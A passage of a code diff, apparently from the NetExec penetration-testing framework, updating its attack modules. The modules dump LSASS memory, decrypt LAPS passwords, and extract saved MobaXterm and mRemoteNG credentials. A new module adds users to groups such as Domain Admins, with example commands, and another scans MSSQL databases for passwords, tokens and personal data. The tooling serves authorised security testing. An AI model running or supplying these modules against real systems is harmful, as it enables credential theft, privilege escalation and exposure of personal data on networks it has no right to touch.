cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name = ?", [pc[0]])
process_creds(
context,
+1 -1
View File
@@ -101,7 +101,7 @@ class NXCModule:
context.log.fail("Invalid token ID submitted")
except Exception as e:
context.log.fail(f"Error runing command: {e}")
context.log.fail(f"Error running command: {e}")
finally:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
+9 -8
View File
@@ -4,10 +4,10 @@
# updated by @NeffIsBack
from ipaddress import ip_address
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
from impacket.dcerpc.v5.dcomrt import IObjectExporter
from impacket.dcerpc.v5.dcomrt import IObjectExporter, IID_IObjectExporter
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -22,12 +22,13 @@ class NXCModule:
def on_login(self, context, connection):
try:
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
rpctransport.setRemoteHost(connection.host)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
portmap.connect()
portmap = NXCRPCConnection(connection, force_tcp=True).connect(
None,
IID_IObjectExporter,
target_ip=connection.host,
auth_level=RPC_C_AUTHN_LEVEL_NONE,
anonymous_rpc=True,
)
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
+4 -1
View File
@@ -45,12 +45,15 @@ class NXCModule:
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
if "mslaps-encryptedpassword" in values:
msMCSAdmPwd = values["mslaps-encryptedpassword"]
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server, connection.host, connection.remoteName, connection.aesKey)
try:
data = d.run()
except Exception as e:
context.log.fail(str(e))
continue
if not data:
context.log.fail(f"Failed to decrypt msLAPS-EncryptedPassword for {values['samaccountname']}")
continue
r = json.loads(data)
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
elif "mslaps-password" in values:
+1 -1
View File
@@ -40,7 +40,7 @@ class NXCModule:
output_lines = []
for row in result:
output_value = row.get("output")
if output_value and output_value != "NULL":
if output_value:
output_lines.append(str(output_value))
if output_lines:
+16 -15
View File
@@ -67,7 +67,7 @@ class NXCModule:
session.get_session(
address=host,
target_ip=host,
port=445,
port=connection.port,
lmhash=lmhash,
nthash=nthash,
username=username,
@@ -89,23 +89,24 @@ class NXCModule:
context.log.fail("Unable to dump lsass")
return False
parsed = Parser(host, file).parse()
try:
parsed = Parser(host, file).parse()
finally:
# Delete the remote file even when parsing failed, and even if closing it fails
try:
file.close()
context.log.debug("Closed dumper file")
except Exception as e:
context.log.debug(f"Error closing dumper file: {e}")
if ImpacketFile.delete(session, file.get_file_path()):
context.log.debug("Deleted dumper file")
else:
context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
if parsed is None:
context.log.fail("Unable to parse lsass dump")
return False
credentials, tickets, masterkeys = parsed
file.close()
context.log.debug("Closed dumper file")
file_path = file.get_file_path()
context.log.debug(f"File path: {file_path}")
try:
deleted_file = ImpacketFile.delete(session, file_path)
if deleted_file:
context.log.debug("Deleted dumper file")
else:
context.log.fail(f"[OPSEC] No exception, but failed to delete file: {file_path}")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting temporary lsassy dumper file {file_path}: {e}")
if credentials is None:
credentials = []
@@ -187,7 +188,7 @@ class NXCModule:
context.log.fail(f"Error writing ticket {filename}: {e}")
if ticket_count > 0:
context.log.highlight(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
context.log.success(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
else:
context.log.display("No tickets were saved")
+134 -7
View File
@@ -1,10 +1,21 @@
import re
import ntpath
from io import BytesIO
from nxc.helpers.misc import CATEGORY
from nxc.helpers.smb import get_smb_connection
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.protocols.ldap.constants import WELL_KNOWN_SIDS
from impacket.smbconnection import SessionError
from impacket.nmb import NetBIOSError, NetBIOSTimeout
from impacket.krb5.kerberosv5 import KerberosError
from impacket import nt_errors
class NXCModule:
"""
Module by Shutdown and Podalirius
Module by Shutdown, Podalirius and serwiz
Modified by @azoxlpf to handle null session errors and avoid IndexError when no LDAP results are returned.
Initial module:
@@ -14,18 +25,16 @@ class NXCModule:
Shutdown: @_nwodtuhs
Podalirius: @podalirius_
"""
name = "maq"
description = "Retrieves the MachineAccountQuota domain-level attribute and check SeMachineAccountPrivilege (GPO/SYSVOL)"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
name = "maq"
description = "Retrieves the MachineAccountQuota domain-level attribute"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def on_login(self, context, connection):
context.log.display("Getting the MachineAccountQuota")
ldap_response = connection.search("(ms-DS-MachineAccountQuota=*)", ["ms-DS-MachineAccountQuota"])
entries = parse_result_attributes(ldap_response)
@@ -34,3 +43,121 @@ class NXCModule:
return
context.log.highlight(f"MachineAccountQuota: {entries[0]['ms-DS-MachineAccountQuota']}")
self.get_SeMachineAccountPrivilege(context, connection)
def get_SeMachineAccountPrivilege(self, context, connection):
gpo_links = self.get_gpo_links(context, connection)
if not gpo_links:
context.log.debug("No enabled GPO links found for the domain and Domain Controllers OU")
return
context.log.debug(f"gPLink parsed: {gpo_links}")
try:
smb = get_smb_connection(context, connection)
except (OSError, SessionError, NetBIOSError, NetBIOSTimeout, KerberosError) as e:
context.log.fail(f"Unable to connect to SYSVOL through SMB: {e}")
return
if not smb:
return
context.log.display("Getting SeMachineAccountPrivilege")
try:
for link in gpo_links:
guid = link["guid"]
gpo_name = self.resolve_gpo(connection, guid) or f"{{{guid}}}"
# Accessing the GPO in the SYSVOL share to parse GptTmpl.inf
path = ntpath.join(connection.targetDomain, "Policies", f"{{{guid}}}", "MACHINE", "Microsoft", "Windows NT", "SecEdit", "GptTmpl.inf")
try:
buf = BytesIO()
smb.getFile("SYSVOL", path, buf.write)
GptTmpl = buf.getvalue().decode("utf-16le")
except SessionError as e:
if e.getErrorCode() in (nt_errors.STATUS_NO_SUCH_FILE, nt_errors.STATUS_OBJECT_NAME_NOT_FOUND, nt_errors.STATUS_OBJECT_PATH_NOT_FOUND):
context.log.debug(f"No GptTmpl.inf for GPO {guid}")
else:
enforced_str = ", Enforced" if link["enforced"] else ""
context.log.fail(f'(GPO) "{gpo_name}" [DN: {link["scope_dn"]}] [Link order: {link["link_order"]}{enforced_str}] not readable ({e.getErrorString()[0]}), result may be incomplete')
continue
except (OSError, NetBIOSError, NetBIOSTimeout, UnicodeError) as e:
context.log.fail(f"Unable to read {path}: {e}")
continue
# An absent setting inherits; an explicitly empty assignment overrides.
for line in GptTmpl.splitlines():
match = re.match(r"^\s*SeMachineAccountPrivilege\s*=(.*)$", line.lstrip("\ufeff"))
if match:
value = match.group(1).strip()
break
else:
context.log.debug(f"SeMachineAccountPrivilege not in {path}")
continue
enforced_str = ", Enforced" if link["enforced"] else ""
context.log.success(f'(GPO) "{gpo_name}" [DN: {link["scope_dn"]}] [Link order: {link["link_order"]}{enforced_str}]')
context.log.info(f"\t{line.strip()}")
if not value:
context.log.highlight("SeMachineAccountPrivilege explicitly assigned to nobody")
continue
principals = [principal.strip() for principal in value.split(",") if principal.strip()]
for principal in principals:
match = re.fullmatch(r"\*?(S-\d+(?:-\d+)+)", principal)
if not match:
context.log.highlight(f'\t\t - "{principal}"')
continue
sid = match.group(1)
if sid in WELL_KNOWN_SIDS:
context.log.highlight(f'\t\t - "{WELL_KNOWN_SIDS[sid]}" ({sid})')
continue
resp = connection.search(searchFilter=f"(objectSid={sid})", attributes=["sAMAccountName"])
entries = parse_result_attributes(resp)
if entries and entries[0].get("sAMAccountName"):
context.log.highlight(f'\t\t - "{entries[0]["sAMAccountName"]}" ({sid})')
else:
context.log.highlight(f"\t\t - {sid} (unresolved)")
finally:
smb.logoff()
def get_gpo_links(self, context, connection):
ou_dn = f"OU=Domain Controllers,{connection.baseDN}"
gpo_links = []
block_inheritance = False
for scope_dn in (ou_dn, connection.baseDN):
ldap_response = connection.search(searchFilter=f"(distinguishedName={scope_dn})", baseDN=scope_dn, attributes=["gPLink", "gPOptions"])
entries = parse_result_attributes(ldap_response)
if not entries:
context.log.fail(f"Unable to read GPO links for {scope_dn}")
return []
if scope_dn == ou_dn:
block_inheritance = bool(int(entries[0].get("gPOptions") or 0) & 0x1)
for link in self.parse_gplink(entries[0].get("gPLink") or ""):
if link["disabled"]:
context.log.debug(f'GPO link {link["guid"]} disabled, skipping')
continue
if scope_dn == connection.baseDN and block_inheritance and not link["enforced"]:
context.log.debug(f'GPO link {link["guid"]} blocked by inheritance, skipping')
continue
link["scope_dn"] = scope_dn
# Enforced domain, enforced OU, normal OU, then normal domain links.
link["priority"] = (0 if scope_dn == connection.baseDN else 1) if link["enforced"] else (2 if scope_dn == ou_dn else 3)
gpo_links.append(link)
return sorted(gpo_links, key=lambda link: (link["priority"], link["link_order"]))
def resolve_gpo(self, connection, guid):
resp = connection.search(baseDN=f"CN=Policies,CN=System,{connection.baseDN}", searchFilter=f"(&(objectClass=groupPolicyContainer)(name={{{guid}}}))", attributes=["displayName", "name"])
results = parse_result_attributes(resp)
if not results:
return ""
return results[0].get("displayName") or results[0].get("name") or ""
def parse_gplink(self, gplink):
raw_entries = re.findall(r"(?i)\[LDAP://cn=\{([0-9a-f\-]{36})\}[^;\]]*;(\d+)\]", gplink)
parsed = []
# Number every link, including disabled links (last listed = order 1).
for link_order, (guid, flags_str) in enumerate(reversed(raw_entries), 1):
flags = int(flags_str)
parsed.append({"guid": guid, "flags": flags, "disabled": bool(flags & 0x1), "enforced": bool(flags & 0x2), "link_order": link_order})
return parsed
+7 -35
View File
@@ -1,62 +1,34 @@
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "mobaxterm"
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
def mobaxterm_callback(credential):
if isinstance(credential, MobaXtermCredential):
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
log_text = f"{credential.name} - {credential.username}:{credential.password.decode('latin-1')}"
elif isinstance(credential, MobaXtermPassword):
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
log_text = f"{credential.username}:{credential.password.decode('latin-1')}"
connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log)
try:
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
context.log.success("Looting MobaXterm secrets")
triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback)
triage.triage_mobaxterm()
except Exception as e:
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
+168
View File
@@ -0,0 +1,168 @@
import contextlib
import sys
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE
from impacket.dcerpc.v5 import samr
from nxc.helpers.rpc import NXCRPCConnection
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Module for adding/removing users to/from groups
Module by @termanix
"""
name = "modify-group"
description = "Modify the group membership of users and computers"
supported_protocols = ["smb", "ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
Required (at least one of):
GROUP Name of the group to add/remove the user to/from
USER Username of the account to modify
Optional:
REMOVE Set to 'True' to remove the user from the specified group instead of adding (default: False)
Examples
--------
Adding a user to a group:
netexec smb <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Domain Admins'
netexec ldap <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Enterprise Admins'
Removing a user from a group:
netexec smb <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Domain Admins' REMOVE=True
netexec ldap <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Enterprise Admins' REMOVE=True
SMB/SAMR KNOWN LIMITATIONS:
- SAMR only supports modification of Global security groups.
Domain Local and Universal groups require the LDAP protocol.
- Cross-domain groups (e.g. Enterprise Admins) cannot be modified via SAMR.
Use LDAP instead.
"""
self.group = module_options.get("GROUP")
self.target_user = module_options.get("USER")
self.remove = module_options.get("REMOVE", "False").lower() == "true"
if not (self.target_user and self.group):
context.log.fail("USER and GROUP parameters are required!")
sys.exit(1)
def on_login(self, context, connection):
self.context = context
self.connection = connection
if context.protocol == "smb":
self._modify_group_smb()
elif context.protocol == "ldap" and self.group:
self._modify_group_ldap()
def _modify_group_smb(self):
"""Modify group membership using SMB/SAMR protocol"""
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
if not dce:
return
# Get domain handle
try:
server_handle = samr.hSamrConnect(dce, self.connection.host + "\x00")["ServerHandle"]
domain_sid = samr.hSamrLookupDomainInSamServer(dce, server_handle, self.connection.domain)["DomainId"]
domain_handle = samr.hSamrOpenDomain(dce, server_handle, domainId=domain_sid)["DomainHandle"]
except Exception as e:
self.context.log.fail(f"Failed to connect to SAMR service: {e}")
return
# Find the user RID
try:
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, (self.target_user,))["RelativeIds"]["Element"][0]
except Exception as e:
if "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"Target user not found: {self.target_user}")
else:
self.context.log.fail(f"Failed to find user RID: {e}")
return
# Find the group RID and open the group
try:
group_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, (self.group,))["RelativeIds"]["Element"][0]
group_handle = samr.hSamrOpenGroup(dce, domain_handle, groupId=group_rid)["GroupHandle"]
except Exception as e:
if "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"Target group not found: {self.group}")
else:
self.context.log.fail(f"Failed to find group: {e}")
return
# Modify group membership
if self.remove:
try:
samr.hSamrRemoveMemberFromGroup(dce, group_handle, user_rid)
self.context.log.success(f"Successfully removed {self.target_user} from group {self.group}")
except Exception as e:
if "STATUS_MEMBER_NOT_IN_GROUP" in str(e):
self.context.log.fail(f"User {self.target_user} is not a member of group {self.group}")
else:
self.context.log.fail(f"Failed to remove user from group via SMB: {e}")
else:
try:
samr.hSamrAddMemberToGroup(dce, group_handle, user_rid, 0x7)
self.context.log.success(f"Successfully added {self.target_user} to group {self.group}")
except Exception as e:
if "STATUS_MEMBER_IN_GROUP" in str(e):
self.context.log.fail(f"User {self.target_user} is already a member of group {self.group}")
else:
self.context.log.fail(f"Failed to add user to group via SMB: {e}")
# Disconnect from DCE/RPC
with contextlib.suppress(Exception):
dce.disconnect()
def _modify_group_ldap(self):
"""Modify group membership using LDAP protocol"""
# Get the DN of the target user
resp = self._find_object_dn(self.target_user)
if not resp:
self.context.log.fail(f"Target user not found: {self.target_user}")
return
else:
target_user_dn = resp[0]["distinguishedName"]
# Get the DN of the target group
resp = self._find_object_dn(self.group)
if not resp:
self.context.log.fail(f"Target group not found: {self.group}")
return
else:
group_dn = resp[0]["distinguishedName"]
# Modify group membership
if self.remove:
try:
self.connection.ldap_connection.modify(group_dn, {"member": [(MODIFY_DELETE, [target_user_dn])]})
self.context.log.success(f"Successfully removed {self.target_user} from group {self.group}")
except Exception as e:
if "unwillingToPerform" in str(e):
self.context.log.fail(f"User {self.target_user} is not a member of group {self.group}")
else:
self.context.log.fail(f"Failed to remove user from group via LDAP: {e}")
else:
try:
self.connection.ldap_connection.modify(group_dn, {"member": [(MODIFY_ADD, [target_user_dn])]})
self.context.log.success(f"Successfully added {self.target_user} to group {self.group}")
except Exception as e:
if "entryAlreadyExists" in str(e):
self.context.log.fail(f"User {self.target_user} is already a member of group {self.group}")
else:
self.context.log.fail(f"Failed to add user to group via LDAP: {e}")
def _find_object_dn(self, value):
"""Find the distinguished name (DN) of an object by sAMAccountName"""
resp = self.connection.ldap_connection.search(
searchFilter=f"(sAMAccountName={value})",
attributes=["distinguishedName"]
)
return parse_result_attributes(resp)
+12 -52
View File
@@ -1,12 +1,10 @@
import ntpath
from dploot.lib.target import Target
from Cryptodome.Cipher import AES
from lxml import objectify
from base64 import b64decode
import hashlib
from dataclasses import dataclass
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
@dataclass
@@ -25,7 +23,7 @@ class NXCModule:
name = "mremoteng"
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
@@ -42,6 +40,7 @@ class NXCModule:
self.mRemoteNg_path = [
"Users\\{username}\\AppData\\Local\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG Connection Manager",
]
self.custom_user_path = [
@@ -68,70 +67,31 @@ class NXCModule:
self.custom_path = module_options["CUSTOM_PATH"]
def on_admin_login(self, context, connection):
# 1. Evole conn into dploot conn
self.context = context
self.connection = connection
self.share = connection.args.share
self.share = connection.args.share if hasattr(connection.args, "share") else "C$"
self.dploot_conn = connection.dpapi_triage.conn
host = f"{connection.hostname}.{connection.domain}"
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
users = self.dploot_conn.list_users()
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if dploot_conn is None:
context.log.debug("Could not upgrade connection")
return
# 2. Dump users list
users = self.get_users(dploot_conn)
# 3. Search for mRemoteNG files
# Search for mRemoteNG files
for user in users:
for path in self.mRemoteNg_path:
user_path = ntpath.join(path.format(username=user), "confCons.xml")
content = dploot_conn.readFile(self.share, user_path)
content = self.dploot_conn.read_file(share=self.share, path=user_path)
if content is None:
continue
self.context.log.info(f"Found confCons.xml file: {user_path}")
self.handle_confCons_file(content)
for path in self.custom_user_path:
user_path = path.format(username=user)
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
self.dig_confCons_in_files(conn=self.dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
if self.custom_path is not None:
content = dploot_conn.readFile(self.share, self.custom_path)
content = self.dploot_conn.read_file(share=self.share, path=self.custom_path)
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def get_users(self, conn):
users = []
users_dir_path = "Users\\*"
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
return users
def handle_confCons_file(self, file_content):
main = objectify.fromstring(file_content)
encryption_attributes = MRemoteNgEncryptionAttributes(
@@ -152,7 +112,7 @@ class NXCModule:
protocol = node_attribute["Protocol"]
port = node_attribute["Port"]
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}", self.context.log)
def parse_xml_nodes(self, main):
nodes = []
@@ -166,7 +126,7 @@ class NXCModule:
return nodes
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
directory_list = conn.remote_list_dir(self.share, directory_path)
directory_list = conn.list_dir(share=self.share, path=directory_path)
if directory_list is not None:
for item in directory_list:
if item.get_longname() not in self.false_positive:
@@ -178,7 +138,7 @@ class NXCModule:
# It's a file, download it to the output share if the mask is ok
if "confCons.xml" in item.get_longname():
self.context.log.info(f"Found confCons.xml file: {new_path}")
content = conn.readFile(self.context.share, new_path)
content = conn.read_file(share=self.share, path=new_path)
self.handle_confCons_file(content)
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
+58
View File
@@ -0,0 +1,58 @@
from impacket import tds
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""Module written by @Defte_"""
name = "mssql_cbt"
description = "Checks whether Channel Binding is enabled on the MSSQL database"
supported_protocols = ["mssql"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
def on_login(self, context, connection):
self.logger = context.log
if not connection.encryption:
self.logger.highlight("TLS not required: Channel Binding Token NOT REQUIRED")
return
if connection.args.local_auth:
self.logger.highlight("Local auth: CANNOT check Channel Binding Token configuration")
return
new_conn = tds.MSSQL(connection.host, connection.port, connection.conn.remoteName)
new_conn.connect(connection.args.mssql_timeout)
if connection.kerberos:
success = new_conn.kerberosLogin(
None,
connection.username,
connection.password,
connection.targetDomain,
f"{connection.lmhash}:{connection.nthash}" if connection.lmhash or connection.nthash else None,
connection.aesKey,
connection.kdcHost,
None,
None,
connection.use_kcache,
cbt_fake_value=b""
)
else:
success = new_conn.login(
None,
connection.username,
connection.password,
connection.targetDomain,
f"{connection.lmhash}:{connection.nthash}" if connection.lmhash or connection.nthash else None,
not connection.args.local_auth,
cbt_fake_value=b""
)
if success:
self.logger.highlight("Connection successful: Channel Binding Token NOT REQUIRED")
else:
self.logger.highlight("Connection failed: Channel Binding Token REQUIRED")
new_conn.disconnect()
+148
View File
@@ -0,0 +1,148 @@
import json
import datetime
import os
from pathlib import Path
import re
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
class NXCModule:
"""MSSQL Dumper v1 - Created by LTJAX"""
name = "mssql_dumper"
description = "Search for Sensitive Data across all databases"
supported_protocols = ["mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
SHOW_DATA Display the actual row data values of the matched columns (default: True)
REGEX Semicolon-separated regex(es) to search for in **Cell Values**
LIKE_SEARCH Comma-separated list or filename of column names to specifically look for
USE_PRESET Use a predefined set of regex patterns for common PII (default: True)
SAVE Save the output to sqlite database (default: True)
"""
self.regex_patterns = []
self.show_data = module_options.get("SHOW_DATA", "true").lower() in ["true", "1", "yes"]
regex_input = module_options.get("REGEX", "")
for pattern in regex_input.split(";"):
pattern = pattern.strip()
if pattern:
try:
self.regex_patterns.append(re.compile(pattern))
except re.error as e:
context.log.fail(f"[!] Invalid regex pattern '{pattern}': {e}")
like_input = module_options.get("LIKE_SEARCH", "")
if os.path.isfile(like_input):
with open(like_input) as f:
self.like_search = [line.strip().lower() for line in f if line.strip()]
else:
self.like_search = [s.strip().lower() for s in like_input.split(",") if s.strip()]
self.use_preset = module_options.get("USE_PRESET", "true").lower() in ["true", "1", "yes"]
self.save = module_options.get("SAVE", "true").lower() in ["true", "1", "yes"]
def pii(self):
"""Common personally identifiable information (PII) keywords to search for in column names"""
return ["access_token", "account_number", "address", "allergies", "alt_email", "annual_salary", "apartment",
"api_key", "auth_code", "auth_token", "bank_account", "bank_code", "bank_id", "bank_name", "bic",
"billing_address", "birth_date", "blood_type", "card_exp", "card_number", "cardholder_name", "cc_exp_month",
"cc_exp_year", "cc_number", "ccv", "city", "compensation", "contract_number", "country", "credit_card_expiry",
"credit_card_hash", "credit_card_number", "credit_card", "creditcard", "cvv", "cvv2", "date_of_birth",
"debit_card", "diagnosis", "dl_number", "dob", "drivers_license", "ein", "email_address", "email",
"emergency_contact", "employee_id", "employment_status", "expiration_date", "expiry_date", "fax", "first_name",
"full_name", "gender", "health_id", "house_number", "iban", "income", "insurance_id", "insurance_number",
"invoice_id", "invoice_total", "job_title", "last_name", "legal_entity", "legal_name", "location", "login_token",
"maiden_name", "medical_record", "medication", "mfa_secret", "middle_name", "mobile", "national_id", "nickname",
"nin", "old_password", "order_amount", "order_id", "order_total", "otp_secret", "passport_number", "passwd_hash",
"passwd", "password_hash", "password_plaintext", "password_salt", "password", "patient_id", "payment_status",
"payment_token", "paypal_email", "phone_number", "phone", "phonenumber", "pin_code", "pin", "position",
"prescriptions", "recovery_key", "refresh_token", "region", "reset_token", "routing_number", "salary", "secret_key",
"security_answer", "security_code", "security_pin", "security_question", "session_token", "session", "sessionid",
"social_security_number", "ssn_hash", "ssn", "state", "street", "tax_id", "temp_password", "tin", "token",
"treatment", "user_credential", "user_name", "user_pass", "user_password", "user_secret", "user_token", "username",
"zip", "zipcode"]
def on_login(self, context, connection):
all_results = []
databases = connection.conn.sql_query("SELECT name FROM master.dbo.sysdatabases")
if connection.conn.lastError:
context.log.fail(f"Failed to retrieve databases: {connection.conn.lastError}")
return
for db in databases:
db_name = db.get("name") or db.get("", "")
if db_name.lower() in ("master", "model", "msdb", "tempdb"):
continue # skip system DBs
context.log.display(f"Searching database: {db_name}")
connection.conn.sql_query(f"USE [{db_name}]")
# get all tables in this DB
tables = connection.conn.sql_query("SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE'")
for table in tables:
table_name = table.get("table_name", "")
try:
columns = connection.conn.sql_query(f"SELECT column_name FROM information_schema.columns WHERE table_name = '{table_name}'")
# find matching columns
search_keys = []
if self.use_preset:
search_keys += self.pii()
if self.like_search:
search_keys += self.like_search
matched = [col for col in columns if any(key in col["column_name"].lower() for key in search_keys)]
if matched:
column_str = ", ".join(f"[{c['column_name']}]" for c in matched)
context.log.success(f"Match in {db_name}.{table_name} => Columns: {column_str}")
data = connection.conn.sql_query(f"SELECT {column_str} FROM [{table_name}]")
for row in data:
decoded_data = {k: (v.decode("utf-8", "replace").strip() if isinstance(v, bytes) else str(v).strip()) for k, v in row.items()}
if self.show_data:
context.log.highlight(f"{db_name}.{table_name} => " + ", ".join(f"{k}: {v}" for k, v in decoded_data.items()))
all_results.append({
"type": "column_match",
"database": db_name,
"table": table_name,
"row": {k: v.strip() for k, v in decoded_data.items()}
})
except Exception as e:
context.log.fail(f"Failed to inspect table {table_name} in {db_name}: {e}")
# If regex patterns are provided, scan all cell values in the table for matches
if self.regex_patterns:
try:
full_data = connection.conn.sql_query(f"SELECT * FROM [{table_name}]")
for row in full_data:
matched_cells = {}
for col, val in row.items():
val_str = val.decode("utf-8", "replace").strip() if isinstance(val, bytes) else str(val).strip()
# Check if any of the cells in the row match any of the regex patterns
for pattern in self.regex_patterns:
if pattern.search(val_str):
matched_cells[col] = val_str
break
if matched_cells:
match_str = ", ".join(f"{k}: {v}" for k, v in matched_cells.items())
if self.show_data:
context.log.highlight(f"{db_name}.{table_name} => Regex Match => {match_str}")
all_results.append({
"type": "regex_match",
"database": db_name,
"table": table_name,
"matched_cells": matched_cells
})
except Exception as e:
context.log.fail(f"Regex scan failed for {db_name}.{table_name}: {e}")
if self.save and all_results:
filename = sanitize_path_component(f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json")
file_path = (Path(NXC_PATH) / "modules" / "mssql-dumper" / filename).resolve()
os.makedirs(file_path.parent, exist_ok=True)
with open(file_path, "w") as f:
json.dump(all_results, f, indent=2)
context.log.success(f"Data saved to {file_path}")
+1 -1
View File
@@ -446,7 +446,7 @@ class NXCModule:
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
is_admin = res[0][""]
try:
if is_admin != "NULL" and int(is_admin):
if is_admin is not None and int(is_admin):
self.admin_privs = True
self.context.log.debug(f"Updated: {username} is admin!")
return True
+2 -1
View File
@@ -10,6 +10,7 @@ import tempfile
from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
@@ -158,7 +159,7 @@ class NXCModule:
return
else:
